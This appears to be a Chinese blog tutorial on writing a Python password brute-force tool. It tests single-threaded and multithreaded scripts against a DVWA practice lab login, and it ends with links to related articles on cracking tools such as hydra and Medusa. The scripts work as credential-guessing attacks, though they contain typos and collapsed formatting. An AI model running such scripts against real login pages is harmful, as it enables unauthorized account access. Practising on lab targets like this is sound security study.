密码爆破其实是将把可能为密码的字符串集合逐一验证,通过验证返回的结果来找到密码。
为了验证编写密码爆破工具的有效性,则用了DVWA靶场来验证。我们随意输入一串数字来看看返回的验证结果是如何。

可以看到,只要密码不正确则页面会显示Username and/or password incorrect.

那么根据这一特征,我们则可以利用密码爆破来编写爆破的框架了,首先我们确定我们爆破密码的必需品:1,模仿页面产生请求;2,密码尝试;3,获取返回页面特征

import requests
import threading
def function_request():url = 'http://10.3.61.68/dvwa/vulnerabilities/brute/' #你需要爆破的urlheader = {'Host': '10.3.61.68','Connection': 'keep-alive','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Referer': 'http://10.3.61.68/dvwa/index.php','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6','Cookie': 'security=low;PHPSESSID=igjp30an8opurqc7aadrl8u407'
}#请求头,可以在请求页面直接打开F12查看网络包复制请求头fail_result = 'Username and/or password incorrect.'#验证失败返回关键字for pwd in f.readlines:#利用循环不断更换密码以及发送请求pwd = pwd.strip("\n")url_get = '?username=admin&password={}&Login=Login#'.format(str(pwd))#编写请求信息r = requests.get(url+url_get,headers=header)#发送请求r.encoding = 'utf-8'#将响应消息以utf-8编码返回if (fail_result in r.text):#如果响应消息存在失败关键字,则继续循环,如果不存在则结束循环print("尝试密码:{},密码错误。".format(str(pwd)))else:print("尝试密码:{},密码正确。".format(str(pwd)))breakif __name__ == '__main__':f = open("pwd_list.txt","r")#打开字典function_request()

那么大体框架已经构写出来了,如果存在有tocken值,则只需要在上面框架上填补几句代码,首先获取返回内容中的tocken,再将其填入到请求中的tocken。
结果验证:

以上代码为单线程爆破,这肯定是很慢的了,则我们可以利用线程同时测试多个口令。

import requests
import threadingdef function_request():url = 'http://10.3.61.68/dvwa/vulnerabilities/brute/' #你需要爆破的urlheader = {'Host': '10.3.61.68','Connection': 'keep-alive','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Referer': 'http://10.3.61.68/dvwa/index.php','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6','Cookie': 'security=low;PHPSESSID=igjp30an8opurqc7aadrl8u407'
}#请求头,可以在请求页面直接打开F12查看网络包复制请求头fail_result = 'Username and/or password incorrect.'#验证失败返回关键字for pwd in f.readlines:#利用循环不断更换密码以及发送请求pwd = pwd.strip("\n")t = threading.Thead(target=function_extract_pwd,args=(url,header,pwd,fail_result))#多线程t.start()def function_extract_pwd(url, header, pwd,fail_result):url_get = '?username=admin&password={}&Login=Login#'.format(str(pwd))  # 编写请求信息r = requests.get(url + url_get, headers=header)  # 发送请求r.encoding = 'utf-8'  # 将响应消息以utf-8编码返回if (fail_result in r.text):  passelse:print("尝试密码:{},密码正确。".format(str(pwd)))if __name__ == '__main__':f = open("pwd_list.txt","r")#打开字典function_request()


密码爆破工具主要围绕着以下几点:
1)密码字典
2)将字典中的密码逐一取出
3)不断尝试密码,直至跑完整个字典

Python安全工具编写-密码爆破相关推荐

  1. Python安全工具编写-pcap流量包重放

    最近因为log4j漏洞,工作量急剧增加,卑微小乙没日没夜地进行应急处理,为了能测试是否能检测到log4j攻击,我专门写了一个脚本,当然这个脚本也不只是检测log4j,只要是pcap包放在指定目录下则可 ...

  2. 第六天 01-hydra工具windows远程桌面的密码爆破

    windows远程桌面的密码爆破 概述: RDP是Windows的远程桌面协议.所占用的端口默认为3389,这个是可以修改的. 要求: 我们要暴力破解3389号端口的前提是对方的3389号端口是开放的 ...

  3. 密码爆破工具:Medusa(美杜莎)-操作说明hydra-操作说明

    目录 密码爆破工具:Medusa(美杜莎)-操作说明 hydra-操作说明 密码爆破工具:Medusa(美杜莎)-操作说明 科普下: Medusa是支持AFP, CVS, FTP, HTTP, IMA ...

  4. 密码爆破工具:Medusa(美杜莎)-操作说明

    科普下: Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, Postg ...

  5. [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文详细讲解了hack the box在线渗透平台获取邀请码.注册过程.本文将分 ...

  6. python123手机版-123个Python黑客工具,再也不用问女朋友要手机密码了

    原标题:123个Python黑客工具,再也不用问女朋友要手机密码了 今天的文章来源于dloss/python-pentest-tools,本文中列举了123个Python渗透测试工具,当然不仅于渗透~ ...

  7. SQL Server密码爆破工具SQLdict

    SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...

  8. 安全篇:弱密码python检测工具

    安全篇:弱密码python检测工具 https://github.com/penoxcn/PyWeakPwdAudit 转载于:https://www.cnblogs.com/andy9468/p/8 ...

  9. python自动化脚本编写教程_开发工具pycharm写第一个Python自动化程序案例|python基础教程|python入门|python教程...

    https://www.xin3721.com/eschool/pythonxin3721/ 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明. ...

  10. 使用python和PyQt5编写爬取百度图片的界面工具

    使用python和PyQt5编写爬取百度图片的界面工具 本篇文章的主要内容是展示我个人编写的,以界面小工具的方式爬取百度上面的图片,功能很单一,根据关键词爬取图片,代码很简单,新手上路请多指教. 代码 ...

最新文章

  1. grep 正则表达式及选项以及注意
  2. 基于Java Swing的仪表盘实现
  3. cannot resolve symbol r_64位ret2_dl_runtime_resolve模版题以及踩坑记录
  4. java 循环赛问题,网球循环赛思路 - 分治法求解(无代码)
  5. Openlayers中使用Cluster+Overlay实现点击单个要素和聚合要素时显示不同弹窗
  6. “正尝试安装的adobe flash player不是最新版本”的解决方法:
  7. Jetty 类载入问题处理
  8. 指令系统——数据寻址(1)(详解)
  9. 02 算术、字符串与变量(1)
  10. 所谓高手,就是把自己活成了贝叶斯定理
  11. I2S协议及在verilog中实现
  12. linux grep多条件查询
  13. python模块导入详解
  14. 家庭整理-《家庭断舍离》书中的精髓:如何通过家庭断舍离,来消除家居环境和家庭关系间的堆积物,从而拥有自由舒适的家庭关系。
  15. java.lang.IllegalArgumentException: Not an entity: class
  16. Japan POJ - 3067
  17. L1-079 天梯赛的善良 (20 分)python
  18. 少儿编程之Scratch入门
  19. Python:max函数获取列表最大值
  20. 人工神经网络的工作原理,神经网络的基本原理

热门文章

  1. 服务器没有系统能配置ip地址嘛,win10系统没有有效的ip配置怎么解决
  2. 2019春季PAT甲级题解
  3. 用Qt图形视图框架开发拼图游戏
  4. EverEdit: Windows上国人开发的比Notepad++更优秀的高级文本编辑器
  5. Android的虚拟设备的缩写,Android虚拟设备的英语缩写是
  6. 小米怎么解锁,有什么相关教程
  7. 计算机专业高级职称评定条件,计算机高级工程师职称评定条件
  8. 面试题,你为什么想做产品经理?
  9. 京东注册页开发 HTML5 1014
  10. 解决windows虚机系统时间与北京时间相差8小时